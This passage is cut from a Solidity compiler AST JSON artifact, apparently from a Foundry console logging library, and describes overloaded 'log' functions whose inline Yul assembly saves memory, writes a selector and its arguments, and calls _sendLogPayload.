pure"}},"id":41862,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"245766:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":41863,"nodeType":"ExpressionStatement","src":"245766:28:22"},{"AST":{"nativeSrc":"245813:273:22","nodeType":"YulBlock","src":"245813:273:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"245834:4:22","nodeType":"YulLiteral","src":"245834:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"245840:2:22","nodeType":"YulIdentifier","src":"245840:2:22"}],"functionName":{"name":"mstore","nativeSrc":"245827:6:22","nodeType":"YulIdentifier","src":"245827:6:22"},"nativeSrc":"245827:16:22","nodeType":"YulFunctionCall","src":"245827:16:22"},"nativeSrc":"245827:16:22","nodeType":"YulExpressionStatement","src":"245827:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"245863:4:22","nodeType":"YulLiteral","src":"245863:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"245869:2:22","nodeType":"YulIdentifier","src":"245869:2:22"}],"functionName":{"name":"mstore","nativeSrc":"245856:6:22","nodeType":"YulIdentifier","src":"245856:6:22"},"nativeSrc":"245856:16:22","nodeType":"YulFunctionCall","src":"245856:16:22"},"nativeSrc":"245856:16:22","nodeType":"YulExpressionStatement","src":"245856:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"245892:4:22","nodeType":"YulLiteral","src":"245892:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"245898:2:22","nodeType":"YulIdentifier","src":"245898:2:22"}],"functionName":{"name":"mstore","nativeSrc":"245885:6:22","nodeType":"YulIdentifier","src":"245885:6:22"},"nativeSrc":"245885:16:22","nodeType":"YulFunctionCall","src":"245885:16:22"},"nativeSrc":"245885:16:22","nodeType":"YulExpressionStatement","src":"245885:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"245921:4:22","nodeType":"YulLiteral","src":"245921:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"245927:2:22","nodeType":"YulIdentifier","src":"245927:2:22"}],"functionName":{"name":"mstore","nativeSrc":"245914:6:22","nodeType":"YulIdentifier","src":"245914:6:22"},"nativeSrc":"245914:16:22","nodeType":"YulFunctionCall","src":"245914:16:22"},"nativeSrc":"245914:16:22","nodeType":"YulExpressionStatement","src":"245914:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"245950:4:22","nodeType":"YulLiteral","src":"245950:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"245956:2:22","nodeType":"YulIdentifier","src":"245956:2:22"}],"functionName":{"name":"mstore","nativeSrc":"245943:6:22","nodeType":"YulIdentifier","src":"245943:6:22"},"nativeSrc":"245943:16:22","nodeType":"YulFunctionCall","src":"245943:16:22"},"nativeSrc":"245943:16:22","nodeType":"YulExpressionStatement","src":"245943:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"245979:4:22","nodeType":"YulLiteral","src":"245979:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"245985:2:22","nodeType":"YulIdentifier","src":"245985:2:22"}],"functionName":{"name":"mstore","nativeSrc":"245972:6:22","nodeType":"YulIdentifier","src":"245972:6:22"},"nativeSrc":"245972:16:22","nodeType":"YulFunctionCall","src":"245972:16:22"},"nativeSrc":"245972:16:22","nodeType":"YulExpressionStatement","src":"245972:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"246008:4:22","nodeType":"YulLiteral","src":"246008:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"246014:2:22","nodeType":"YulIdentifier","src":"246014:2:22"}],"functionName":{"name":"mstore","nativeSrc":"246001:6:22","nodeType":"YulIdentifier","src":"246001:6:22"},"nativeSrc":"246001:16:22","nodeType":"YulFunctionCall","src":"246001:16:22"},"nativeSrc":"246001:16:22","nodeType":"YulExpressionStatement","src":"246001:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"246037:4:22","nodeType":"YulLiteral","src":"246037:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"246043:2:22","nodeType":"YulIdentifier","src":"246043:2:22"}],"functionName":{"name":"mstore","nativeSrc":"246030:6:22","nodeType":"YulIdentifier","src":"246030:6:22"},"nativeSrc":"246030:16:22","nodeType":"YulFunctionCall","src":"246030:16:22"},"nativeSrc":"246030:16:22","nodeType":"YulExpressionStatement","src":"246030:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"246066:5:22","nodeType":"YulLiteral","src":"246066:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"246073:2:22","nodeType":"YulIdentifier","src":"246073:2:22"}],"functionName":{"name":"mstore","nativeSrc":"246059:6:22","nodeType":"YulIdentifier","src":"246059:6:22"},"nativeSrc":"246059:17:22","nodeType":"YulFunctionCall","src":"246059:17:22"},"nativeSrc":"246059:17:22","nodeType":"YulExpressionStatement","src":"246059:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":41832,"isOffset":false,"isSlot":false,"src":"245840:2:22","valueSize":1},{"declaration":41835,"isOffset":false,"isSlot":false,"src":"245869:2:22","valueSize":1},{"declaration":41838,"isOffset":false,"isSlot":false,"src":"245898:2:22","valueSize":1},{"declaration":41841,"isOffset":false,"isSlot":false,"src":"245927:2:22","valueSize":1},{"declaration":41844,"isOffset":false,"isSlot":false,"src":"245956:2:22","valueSize":1},{"declaration":41847,"isOffset":false,"isSlot":false,"src":"245985:2:22","valueSize":1},{"declaration":41850,"isOffset":false,"isSlot":false,"src":"246014:2:22","valueSize":1},{"declaration":41853,"isOffset":false,"isSlot":false,"src":"246043:2:22","valueSize":1},{"declaration":41856,"isOffset":false,"isSlot":false,"src":"246073:2:22","valueSize":1}],"id":41864,"nodeType":"InlineAssembly","src":"245804:282:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"244565:3:22","parameters":{"id":41829,"nodeType":"ParameterList","parameters":[{"constant":false,"id":41822,"mutability":"mutable","name":"p0","nameLocation":"244577:2:22","nodeType":"VariableDeclaration","scope":41866,"src":"244569:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":41821,"name":"uint256","nodeType":"ElementaryTypeName","src":"244569:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":41824,"mutability":"mutable","name":"p1","nameLocation":"244589:2:22","nodeType":"VariableDeclaration","scope":41866,"src":"244581:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":41823,"name":"address","nodeType":"ElementaryTypeName","src":"244581:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":41826,"mutability":"mutable","name":"p2","nameLocation":"244601:2:22","nodeType":"VariableDeclaration","scope":41866,"src":"244593:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41825,"name":"bytes32","nodeType":"ElementaryTypeName","src":"244593:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":41828,"mutability":"mutable","name":"p3","nameLocation":"244613:2:22","nodeType":"VariableDeclaration","scope":41866,"src":"244605:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41827,"name":"bytes32","nodeType":"ElementaryTypeName","src":"244605:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"244568:48:22"},"returnParameters":{"id":41830,"nodeType":"ParameterList","parameters":[],"src":"244631:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":41900,"nodeType":"FunctionDefinition","src":"246098:786:22","nodes":[],"body":{"id":41899,"nodeType":"Block","src":"246170:714:22","nodes":[],"statements":[{"assignments":[41878],"declarations":[{"constant":false,"id":41878,"mutability":"mutable","name":"m0","nameLocation":"246188:2:22","nodeType":"VariableDeclaration","scope":41899,"src":"246180:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41877,"name":"bytes32","nodeType":"ElementaryTypeName","src":"246180:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41879,"nodeType":"VariableDeclarationStatement","src":"246180:10:22"},{"assignments":[41881],"declarations":[{"constant":false,"id":41881,"mutability":"mutable","name":"m1","nameLocation":"246208:2:22","nodeType":"VariableDeclaration","scope":41899,"src":"246200:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41880,"name":"bytes32","nodeType":"ElementaryTypeName","src":"246200:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41882,"nodeType":"VariableDeclarationStatement","src":"246200:10:22"},{"assignments":[41884],"declarations":[{"constant":false,"id":41884,"mutability":"mutable","name":"m2","nameLocation":"246228:2:22","nodeType":"VariableDeclaration","scope":41899,"src":"246220:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41883,"name":"bytes32","nodeType":"ElementaryTypeName","src":"246220:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41885,"nodeType":"VariableDeclarationStatement","src":"246220:10:22"},{"assignments":[41887],"declarations":[{"constant":false,"id":41887,"mutability":"mutable","name":"m3","nameLocation":"246248:2:22","nodeType":"VariableDeclaration","scope":41899,"src":"246240:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41886,"name":"bytes32","nodeType":"ElementaryTypeName","src":"246240:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41888,"nodeType":"VariableDeclarationStatement","src":"246240:10:22"},{"assignments":[41890],"declarations":[{"constant":false,"id":41890,"mutability":"mutable","name":"m4","nameLocation":"246268:2:22","nodeType":"VariableDeclaration","scope":41899,"src":"246260:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41889,"name":"bytes32","nodeType":"ElementaryTypeName","src":"246260:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41891,"nodeType":"VariableDeclarationStatement","src":"246260:10:22"},{"AST":{"nativeSrc":"246289:378:22","nodeType":"YulBlock","src":"246289:378:22","statements":[{"nativeSrc":"246303:17:22","nodeType":"YulAssignment","src":"246303:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"246315:4:22","nodeType":"YulLiteral","src":"246315:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"246309:5:22","nodeType":"YulIdentifier","src":"246309:5:22"},"nativeSrc":"246309:11:22","nodeType":"YulFunctionCall","src":"246309:11:22"},"variableNames":[{"name":"m0","nativeSrc":"246303:2:22","nodeType":"YulIdentifier","src":"246303:2:22"}]},{"nativeSrc":"246333:17:22","nodeType":"YulAssignment","src":"246333:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"246345:4:22","nodeType":"YulLiteral","src":"246345:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"246339:5:22","nodeType":"YulIdentifier","src":"246339:5:22"},"nativeSrc":"246339:11:22","nodeType":"YulFunctionCall","src":"246339:11:22"},"variableNames":[{"name":"m1","nativeSrc":"246333:2:22","nodeType":"YulIdentifier","src":"246333:2:22"}]},{"nativeSrc":"246363:17:22","nodeType":"YulAssignment","src":"246363:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"246375:4:22","nodeType":"YulLiteral","src":"246375:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"246369:5:22","nodeType":"YulIdentifier","src":"246369:5:22"},"nativeSrc":"246369:11:22","nodeType":"YulFunctionCall","src":"246369:11:22"},"variableNames":[{"name":"m2","nativeSrc":"246363:2:22","nodeType":"YulIdentifier","src":"246363:2:22"}]},{"nativeSrc":"246393:17:22","nodeType":"YulAssignment","src":"246393:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"246405:4:22","nodeType":"YulLiteral","src":"246405:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"246399:5:22","nodeType":"YulIdentifier","src":"246399:5:22"},"nativeSrc":"246399:11:22","nodeType":"YulFunctionCall","src":"246399:11:22"},"variableNames":[{"name":"m3","nativeSrc":"246393:2:22","nodeType":"YulIdentifier","src":"246393:2:22"}]},{"nativeSrc":"246423:17:22","nodeType":"YulAssignment","src":"246423:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"246435:4:22","nodeType":"YulLiteral","src":"246435:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"246429:5:22","nodeType":"YulIdentifier","src":"246429:5:22"},"nativeSrc":"246429:11:22","nodeType":"YulFunctionCall","src":"246429:11:22"},"variableNames":[{"name":"m4","nativeSrc":"246423:2:22","nodeType":"YulIdentifier","src":"246423:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"246524:4:22","nodeType":"YulLiteral","src":"246524:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"246530:10:22","nodeType":"YulLiteral","src":"246530:10:22","type":"","value":"0xa1ef4cbb"}],"functionName":{"name":"mstore","nativeSrc":"246517:6:22","nodeType":"YulIdentifier","src":"246517:6:22"},"nativeSrc":"246517:24:22","nodeType":"YulFunctionCall","src":"246517:24:22"},"nativeSrc":"246517:24:22","nodeType":"YulExpressionStatement","src":"246517:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"246561:4:22","nodeType":"YulLiteral","src":"246561:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"246567:2:22","nodeType":"YulIdentifier","src":"246567:2:22"}],"functionName":{"name":"mstore","nativeSrc":"246554:6:22","nodeType":"YulIdentifier","src":"246554:6:22"},"nativeSrc":"246554:16:22","nodeType":"YulFunctionCall","src":"246554:16:22"},"nativeSrc":"246554:16:22","nodeType":"YulExpressionStatement","src":"246554:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"246590:4:22","nodeType":"YulLiteral","src":"246590:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"246596:2:22","nodeType":"YulIdentifier","src":"246596:2:22"}],"functionName":{"name":"mstore","nativeSrc":"246583:6:22","nodeType":"YulIdentifier","src":"246583:6:22"},"nativeSrc":"246583:16:22","nodeType":"YulFunctionCall","src":"246583:16:22"},"nativeSrc":"246583:16:22","nodeType":"YulExpressionStatement","src":"246583:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"246619:4:22","nodeType":"YulLiteral","src":"246619:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"246625:2:22","nodeType":"YulIdentifier","src":"246625:2:22"}],"functionName":{"name":"mstore","nativeSrc":"246612:6:22","nodeType":"YulIdentifier","src":"246612:6:22"},"nativeSrc":"246612:16:22","nodeType":"YulFunctionCall","src":"246612:16:22"},"nativeSrc":"246612:16:22","nodeType":"YulExpressionStatement","src":"246612:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"246648:4:22","nodeType":"YulLiteral","src":"246648:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"246654:2:22","nodeType":"YulIdentifier","src":"246654:2:22"}],"functionName":{"name":"mstore","nativeSrc":"246641:6:22","nodeType":"YulIdentifier","src":"246641:6:22"},"nativeSrc":"246641:16:22","nodeType":"YulFunctionCall","src":"246641:16:22"},"nativeSrc":"246641:16:22","nodeType":"YulExpressionStatement","src":"246641:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":41878,"isOffset":false,"isSlot":false,"src":"246303:2:22","valueSize":1},{"declaration":41881,"isOffset":false,"isSlot":false,"src":"246333:2:22","valueSize":1},{"declaration":41884,"isOffset":false,"isSlot":false,"src":"246363:2:22","valueSize":1},{"declaration":41887,"isOffset":false,"isSlot":false,"src":"246393:2:22","valueSize":1},{"declaration":41890,"isOffset":false,"isSlot":false,"src":"246423:2:22","valueSize":1},{"declaration":41868,"isOffset":false,"isSlot":false,"src":"246567:2:22","valueSize":1},{"declaration":41870,"isOffset":false,"isSlot":false,"src":"246596:2:22","valueSize":1},{"declaration":41872,"isOffset":false,"isSlot":false,"src":"246625:2:22","valueSize":1},{"declaration":41874,"isOffset":false,"isSlot":false,"src":"246654:2:22","valueSize":1}],"id":41892,"nodeType":"InlineAssembly","src":"246280:387:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":41894,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"246692:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":41895,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"246698:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":41893,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"246676:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":41896,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"246676:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":41897,"nodeType":"ExpressionStatement","src":"246676:27:22"},{"AST":{"nativeSrc":"246722:156:22","nodeType":"YulBlock","src":"246722:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"246743:4:22","nodeType":"YulLiteral","src":"246743:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"246749:2:22","nodeType":"YulIdentifier","src":"246749:2:22"}],"functionName":{"name":"mstore","nativeSrc":"246736:6:22","nodeType":"YulIdentifier","src":"246736:6:22"},"nativeSrc":"246736:16:22","nodeType":"YulFunctionCall","src":"246736:16:22"},"nativeSrc":"246736:16:22","nodeType":"YulExpressionStatement","src":"246736:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"246772:4:22","nodeType":"YulLiteral","src":"246772:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"246778:2:22","nodeType":"YulIdentifier","src":"246778:2:22"}],"functionName":{"name":"mstore","nativeSrc":"246765:6:22","nodeType":"YulIdentifier","src":"246765:6:22"},"nativeSrc":"246765:16:22","nodeType":"YulFunctionCall","src":"246765:16:22"},"nativeSrc":"246765:16:22","nodeType":"YulExpressionStatement","src":"246765:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"246801:4:22","nodeType":"YulLiteral","src":"246801:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"246807:2:22","nodeType":"YulIdentifier","src":"246807:2:22"}],"functionName":{"name":"mstore","nativeSrc":"246794:6:22","nodeType":"YulIdentifier","src":"246794:6:22"},"nativeSrc":"246794:16:22","nodeType":"YulFunctionCall","src":"246794:16:22"},"nativeSrc":"246794:16:22","nodeType":"YulExpressionStatement","src":"246794:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"246830:4:22","nodeType":"YulLiteral","src":"246830:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"246836:2:22","nodeType":"YulIdentifier","src":"246836:2:22"}],"functionName":{"name":"mstore","nativeSrc":"246823:6:22","nodeType":"YulIdentifier","src":"246823:6:22"},"nativeSrc":"246823:16:22","nodeType":"YulFunctionCall","src":"246823:16:22"},"nativeSrc":"246823:16:22","nodeType":"YulExpressionStatement","src":"246823:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"246859:4:22","nodeType":"YulLiteral","src":"246859:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"246865:2:22","nodeType":"YulIdentifier","src":"246865:2:22"}],"functionName":{"name":"mstore","nativeSrc":"246852:6:22","nodeType":"YulIdentifier","src":"246852:6:22"},"nativeSrc":"246852:16:22","nodeType":"YulFunctionCall","src":"246852:16:22"},"nativeSrc":"246852:16:22","nodeType":"YulExpressionStatement","src":"246852:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":41878,"isOffset":false,"isSlot":false,"src":"246749:2:22","valueSize":1},{"declaration":41881,"isOffset":false,"isSlot":false,"src":"246778:2:22","valueSize":1},{"declaration":41884,"isOffset":false,"isSlot":false,"src":"246807:2:22","valueSize":1},{"declaration":41887,"isOffset":false,"isSlot":false,"src":"246836:2:22","valueSize":1},{"declaration":41890,"isOffset":false,"isSlot":false,"src":"246865:2:22","valueSize":1}],"id":41898,"nodeType":"InlineAssembly","src":"246713:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"246107:3:22","parameters":{"id":41875,"nodeType":"ParameterList","parameters":[{"constant":false,"id":41868,"mutability":"mutable","name":"p0","nameLocation":"246119:2:22","nodeType":"VariableDeclaration","scope":41900,"src":"246111:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":41867,"name":"uint256","nodeType":"ElementaryTypeName","src":"246111:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":41870,"mutability":"mutable","name":"p1","nameLocation":"246128:2:22","nodeType":"VariableDeclaration","scope":41900,"src":"246123:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":41869,"name":"bool","nodeType":"ElementaryTypeName","src":"246123:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":41872,"mutability":"mutable","name":"p2","nameLocation":"246140:2:22","nodeType":"VariableDeclaration","scope":41900,"src":"246132:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":41871,"name":"address","nodeType":"ElementaryTypeName","src":"246132:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":41874,"mutability":"mutable","name":"p3","nameLocation":"246152:2:22","nodeType":"VariableDeclaration","scope":41900,"src":"246144:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":41873,"name":"address","nodeType":"ElementaryTypeName","src":"246144:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"246110:45:22"},"returnParameters":{"id":41876,"nodeType":"ParameterList","parameters":[],"src":"246170:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":41934,"nodeType":"FunctionDefinition","src":"246890:780:22","nodes":[],"body":{"id":41933,"nodeType":"Block","src":"246959:711:22","nodes":[],"statements":[{"assignments":[41912],"declarations":[{"constant":false,"id":41912,"mutability":"mutable","name":"m0","nameLocation":"246977:2:22","nodeType":"VariableDeclaration","scope":41933,"src":"246969:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41911,"name":"bytes32","nodeType":"ElementaryTypeName","src":"246969:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41913,"nodeType":"VariableDeclarationStatement","src":"246969:10:22"},{"assignments":[41915],"declarations":[{"constant":false,"id":41915,"mutability":"mutable","name":"m1","nameLocation":"246997:2:22","nodeType":"VariableDeclaration","scope":41933,"src":"246989:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41914,"name":"bytes32","nodeType":"ElementaryTypeName","src":"246989:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41916,"nodeType":"VariableDeclarationStatement","src":"246989:10:22"},{"assignments":[41918],"declarations":[{"constant":false,"id":41918,"mutability":"mutable","name":"m2","nameLocation":"247017:2:22","nodeType":"VariableDeclaration","scope":41933,"src":"247009:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41917,"name":"bytes32","nodeType":"ElementaryTypeName","src":"247009:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41919,"nodeType":"VariableDeclarationStatement","src":"247009:10:22"},{"assignments":[41921],"declarations":[{"constant":false,"id":41921,"mutability":"mutable","name":"m3","nameLocation":"247037:2:22","nodeType":"VariableDeclaration","scope":41933,"src":"247029:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41920,"name":"bytes32","nodeType":"ElementaryTypeName","src":"247029:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41922,"nodeType":"VariableDeclarationStatement","src":"247029:10:22"},{"assignments":[41924],"declarations":[{"constant":false,"id":41924,"mutability":"mutable","name":"m4","nameLocation":"247057:2:22","nodeType":"VariableDeclaration","scope":41933,"src":"247049:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41923,"name":"bytes32","nodeType":"ElementaryTypeName","src":"247049:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41925,"nodeType":"VariableDeclarationStatement","src":"247049:10:22"},{"AST":{"nativeSrc":"247078:375:22","nodeType":"YulBlock","src":"247078:375:22","statements":[{"nativeSrc":"247092:17:22","nodeType":"YulAssignment","src":"247092:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"247104:4:22","nodeType":"YulLiteral","src":"247104:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"247098:5:22","nodeType":"YulIdentifier","src":"247098:5:22"},"nativeSrc":"247098:11:22","nodeType":"YulFunctionCall","src":"247098:11:22"},"variableNames":[{"name":"m0","nativeSrc":"247092:2:22","nodeType":"YulIdentifier","src":"247092:2:22"}]},{"nativeSrc":"247122:17:22","nodeType":"YulAssignment","src":"247122:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"247134:4:22","nodeType":"YulLiteral","src":"247134:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"247128:5:22","nodeType":"YulIdentifier","src":"247128:5:22"},"nativeSrc":"247128:11:22","nodeType":"YulFunctionCall","src":"247128:11:22"},"variableNames":[{"name":"m1","nativeSrc":"247122:2:22","nodeType":"YulIdentifier","src":"247122:2:22"}]},{"nativeSrc":"247152:17:22","nodeType":"YulAssignment","src":"247152:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"247164:4:22","nodeType":"YulLiteral","src":"247164:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"247158:5:22","nodeType":"YulIdentifier","src":"247158:5:22"},"nativeSrc":"247158:11:22","nodeType":"YulFunctionCall","src":"247158:11:22"},"variableNames":[{"name":"m2","nativeSrc":"247152:2:22","nodeType":"YulIdentifier","src":"247152:2:22"}]},{"nativeSrc":"247182:17:22","nodeType":"YulAssignment","src":"247182:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"247194:4:22","nodeType":"YulLiteral","src":"247194:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"247188:5:22","nodeType":"YulIdentifier","src":"247188:5:22"},"nativeSrc":"247188:11:22","nodeType":"YulFunctionCall","src":"247188:11:22"},"variableNames":[{"name":"m3","nativeSrc":"247182:2:22","nodeType":"YulIdentifier","src":"247182:2:22"}]},{"nativeSrc":"247212:17:22","nodeType":"YulAssignment","src":"247212:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"247224:4:22","nodeType":"YulLiteral","src":"247224:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"247218:5:22","nodeType":"YulIdentifier","src":"247218:5:22"},"nativeSrc":"247218:11:22","nodeType":"YulFunctionCall","src":"247218:11:22"},"variableNames":[{"name":"m4","nativeSrc":"247212:2:22","nodeType":"YulIdentifier","src":"247212:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"247310:4:22","nodeType":"YulLiteral","src":"247310:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"247316:10:22","nodeType":"YulLiteral","src":"247316:10:22","type":"","value":"0x454d54a5"}],"functionName":{"name":"mstore","nativeSrc":"247303:6:22","nodeType":"YulIdentifier","src":"247303:6:22"},"nativeSrc":"247303:24:22","nodeType":"YulFunctionCall","src":"247303:24:22"},"nativeSrc":"247303:24:22","nodeType":"YulExpressionStatement",